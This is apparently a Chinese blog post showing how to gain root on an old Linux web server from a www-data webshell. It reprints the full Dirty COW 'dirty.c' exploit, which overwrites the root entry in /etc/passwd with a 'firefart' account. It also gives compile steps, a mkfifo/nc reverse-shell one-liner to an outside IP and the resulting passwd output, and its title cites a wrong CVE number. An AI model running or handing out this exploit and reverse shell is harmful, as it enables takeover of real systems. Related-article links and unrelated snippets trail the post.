当前路径: /var/www
磁盘列表: /
系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64
当前用户: www-data
执行exp c 文件  影响版本低于3.9的linux内核

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
// #include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h> const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart"; int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st; struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
}; char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
} char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, , format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + );
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
} void *madviseThread(void *arg) {
int i, c = ;
for(i = ; i < ; i++) {
c += madvise(map, , MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
} int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -;
} char ch;
FILE *source, *target; source = fopen(from, "r");
if(source == NULL) {
return -;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -;
} while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
} printf("%s successfully backed up to %s\n",
from, to); fclose(source);
fclose(target); return ;
} int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != ) {
exit(ret);
} struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = ;
user.group_id = ;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash"; char *plaintext_pw; if (argc >= ) {
plaintext_pw = argv[];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
} user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line); f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, );
int u, i, o, c = ;
int l=strlen(complete_passwd_line);
for(i = ; i < /l; i++) {
for(o = ; o < l; o++) {
for(u = ; u < ; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
} printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return ;
}

把此文件另存为上传后缀 .c

执行gcc 编译

gcc  -pthread 1.c -o dirty(编译后文件) -lcrypt

提示

File /tmp/passwd.bak already exists! Please delete it and run again

在去执行

(www-data:/var/tmp) $ rm /tmp/passwd.bak

这里我们反弹一个shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.79 7777 >/tmp/f

windows 那边利用 nc 接受反弹的shell

python -c "import pty;pty.spawn('/bin/bash')"

如何反弹成功

执行 ./1.c  123(root密码是123)

这里可以重新尝试弹反新的shell 在去连接

查看/etc/passwd

(www-data:/var/tmp) $ cat /etc/passwd
firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash
/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:
发现 firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash   root 用户已经改变

在输入 su 切换用户 输入密码

已经成功提权 root  这里在输入su 时候可能提示 su: Authentication failure 多尝试几次

CVE-2016-5159 利用脏牛漏洞Linux提权复现的更多相关文章

  1. CVE-2017-1000405 利用脏牛漏洞Linux提权复现

    当前路径: /var/www 磁盘列表: / 系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 ...

  2. Linux提权小结

    原文链接:http://zone.secevery.com/article/1104 Linux提权1.信息收集2.脏牛漏洞提权3.内核漏洞exp提权4.SUID提权 0x00 基础信息收集(1):内 ...

  3. Linux提权—脏牛漏洞(CVE-2016-5195)

    目录 脏牛漏洞 exp1复现: exp2复现: 脏牛漏洞 脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞.Linux ...

  4. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

  5. 利用Metasploit进行Linux提权

    利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...

  6. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  7. Linux提权手法整理

    之前写过了windows提权小结,这下一篇水什么就有了嘛,于是有了这篇水文,整理一下Linux提权 前篇windows提权小结 ,链接送上 https://www.cnblogs.com/lcxblo ...

  8. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  9. Linux提权

    讲Linux提权之前,我们先看看与Linux有关的一些知识: 我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和 ...

随机推荐

  1. jmeter性能分析

    1.硬件要求:包括客户端和服务端的cpu,mem,network,disk等,这些硬件设备必须满足性能测试的前提下,才能进行性能测试,否则得到的各项指标不一定是正确的 2.场景分析: 测试前的准备工作 ...

  2. Kubernetes 从懵圈到熟练:集群服务的三个要点和一种实现

    作者 | 声东 阿里云售后技术专家 文章来源:Docker,点击查看原文. 以我的经验来讲,理解 Kubernetes 集群服务的概念,是比较不容易的一件事情.尤其是当我们基于似是而非的理解,去排查服 ...

  3. ORA-08102异常重现及恢复

    现象: 在表上面新建主键报ORA-08102的异常: SQL> alter table t add primary key(id); alter table t add primary key( ...

  4. 浅谈HDFS(一)

    产生背景及定义 HDFS:分布式文件系统,用于存储文件,主要特点在于其分布式,即有很多服务器联合起来实现其功能,集群中的服务器各有各的角色 随着数据量越来越大,一个操作系统存不下所有的数据,那么就分配 ...

  5. Windows认证 | Windows本地认证

    Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功. SAM文件是位于%SystemRoot ...

  6. 暑期——第九周总结(1,林子雨老师关于hdfs eclipse案例报错问题【已解决】)

    所花时间:7天 代码行:1000(Java)+500(Python)+300(C++) 博客量:1篇 了解到知识点 : 一: 解决"Class org.apache.hadoop.hdfs. ...

  7. gym102346题解

    B Buffoon 判断最大值是不是第一个数,签到题. H Hour for a Run 输出\(n*m\)的\(10\%\)到\(90\%\),签到题,注意别用浮点数和ceil,有精度问题. M M ...

  8. JS/jQuery点击某元素之外触发事件

    JQuery // 第一步:点击任何地方都触发事件 $(document).click(function(){ alert("点击当前页面的任何地方都触发此点击事件:"); }); ...

  9. Java 基础篇之反射

    反射 使用反射获取程序运行时的对象和类的真实信息. 获取 Class 对象 每个类被加载之后,系统会为该类生成一个对应的 Class 对象,通过该 Class 对象可以访问到 JVM 中的这个类. 使 ...

  10. Win10下80端口被System占用导致Apache无法启动

    Windows10下80端口被PID为4的System占用导致Apache无法启动的分析与解决方案 方法/步骤     最近更新了Windows10,总体上来说效果还是蛮不错的,然而今天在开启Apac ...